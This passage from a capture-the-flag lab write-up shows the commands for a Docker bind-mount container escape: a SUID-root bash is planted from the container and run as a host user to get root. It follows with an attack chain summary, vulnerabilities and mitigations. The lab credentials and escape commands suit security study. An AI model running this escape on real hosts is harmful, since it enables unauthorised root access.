&lt;p&gt;From there, the plan was simple: drop a copy of &lt;code&gt;bash&lt;/code&gt; into the shared directory from the root-owned container side, then set the SUID bit on it - also from the container, since claire-r has no permission to chmod as root, but root inside the container writing to a bind-mounted host directory doesn't care about that boundary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@de0610f51845:~# &lt;span class="nb"&gt;cp&lt;/span&gt; /bin/bash /logs/bash
root@de0610f51845:~# &lt;span class="nb"&gt;chmod &lt;/span&gt;4777 /logs/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Back on the SSH session as &lt;code&gt;claire-r&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claire-r@ip-&amp;lt;machine-ip&amp;gt;:~/timeTracker-src/logs&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; bash
&lt;span class="nt"&gt;-rwsrwxrwx&lt;/span&gt; 1 root root 1234376 Aug 24 10:16 bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SUID bit set, owned by root. Running it with &lt;code&gt;-p&lt;/code&gt; to preserve privileges on exec:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claire-r@ip-&amp;lt;machine-ip&amp;gt;:~/timeTracker-src/logs&lt;span class="nv"&gt;$ &lt;/span&gt;/home/claire-r/timeTracker-src/logs/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
bash-5.1# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root shell on the host. Grabbed the final flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-5.1# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;redacted&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Nmap reveals SSH, exposed MySQL, an unauthenticated Docker Registry (5000), and an Express web app (8080).&lt;/li&gt;
&lt;li&gt;Docker Registry API's manifest history leaks hardcoded MySQL &lt;code&gt;root&lt;/code&gt; credentials via build-time &lt;code&gt;ENV&lt;/code&gt; instructions.&lt;/li&gt;
&lt;li&gt;Those credentials authenticate directly to the exposed MySQL instance, dumping the app's &lt;code&gt;users&lt;/code&gt; table (MD5 password hashes).&lt;/li&gt;
&lt;li&gt;rockyou + John cracks all four hashes in seconds - weak, dictionary-guessable passwords.&lt;/li&gt;
&lt;li&gt;Credential pair &lt;code&gt;claire-r:Password1&lt;/code&gt; doesn't work on the web app but does work over SSH, giving an initial low-privilege foothold and the user flag.&lt;/li&gt;
&lt;li&gt;Local source code review of the app reveals an &lt;code&gt;eval()&lt;/code&gt; on user-controlled input in the &lt;code&gt;/time&lt;/code&gt; endpoint.&lt;/li&gt;
&lt;li&gt;Authenticated RCE via &lt;code&gt;eval()&lt;/code&gt; gets a reverse shell as root - but inside an isolated Docker container.&lt;/li&gt;
&lt;li&gt;The container's &lt;code&gt;docker-compose.yml&lt;/code&gt; shows a bind-mounted &lt;code&gt;logs&lt;/code&gt; volume shared with the host. Root inside the container drops a SUID-root &lt;code&gt;bash&lt;/code&gt; binary into that shared path.&lt;/li&gt;
&lt;li&gt;The host-side low-privilege user executes the now-SUID binary with &lt;code&gt;-p&lt;/code&gt;, landing a root shell on the host itself and the root flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated Docker Registry API&lt;/strong&gt; exposing image manifests and build history to anyone on the network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardcoded secrets in Docker image build args/ENV&lt;/strong&gt; (&lt;code&gt;DB_PASS&lt;/code&gt; baked directly into the image instead of injected at runtime via secrets management).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Directly internet/network-exposed database&lt;/strong&gt; (MySQL bound to &lt;code&gt;0.0.0.0&lt;/code&gt; reachable from outside the app container).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak, dictionary-crackable user passwords&lt;/strong&gt; stored as unsalted MD5 hashes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unsafe use of &lt;code&gt;eval()&lt;/code&gt; on user-controlled input&lt;/strong&gt;, enabling authenticated remote code execution in the Node.js app.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docker bind mount shared between a root-running container and a lower-privileged host user&lt;/strong&gt;, allowing container-root writes to become host-root-owned SUID binaries - a container escape via shared filesystem rather than kernel exploitation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Require authentication (and TLS) on the Docker Registry API; never expose &lt;code&gt;/v2/_catalog&lt;/code&gt; or manifest endpoints to untrusted networks.&lt;/li&gt;
&lt;li&gt;Never bake credentials into image layers or &lt;code&gt;ENV&lt;/code&gt; instructions - inject secrets at runtime via a secrets manager, Docker secrets, or environment injection that doesn't persist in image history.&lt;/li&gt;
&lt;li&gt;Restrict MySQL to internal/container-network access only; it should not be reachable from outside the Docker host at all, let alone from the public network.&lt;/li&gt;
&lt;li&gt;Enforce strong password policies and use a slow, salted hashing algorithm (bcrypt/argon2) instead of unsalted MD5 for stored credentials.&lt;/li&gt;
&lt;li&gt;Never pass user input into &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;Function()&lt;/code&gt;, or &lt;code&gt;child_process.exec()&lt;/code&gt; without strict validation; use a safe math-expression parser (e.g. &lt;code&gt;mathjs&lt;/code&gt; with restricted scope) if arithmetic input is genuinely needed.&lt;/li&gt;
&lt;li&gt;Avoid bind-mounting host directories into containers that run as root unless strictly necessary; when required, run the container process as a non-root UID and set the mount &lt;code&gt;rw&lt;/code&gt; only for the specific low-privilege user/group that needs it, never leaving it world-writable from both sides.&lt;/li&gt;
&lt;li&gt;Regularly audit containers for unnecessary volume mounts and drop unneeded Linux capabilities (&lt;code&gt;--cap-drop=ALL&lt;/code&gt;) to reduce the blast radius of an in-container RCE.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
  </channel>
</rss>
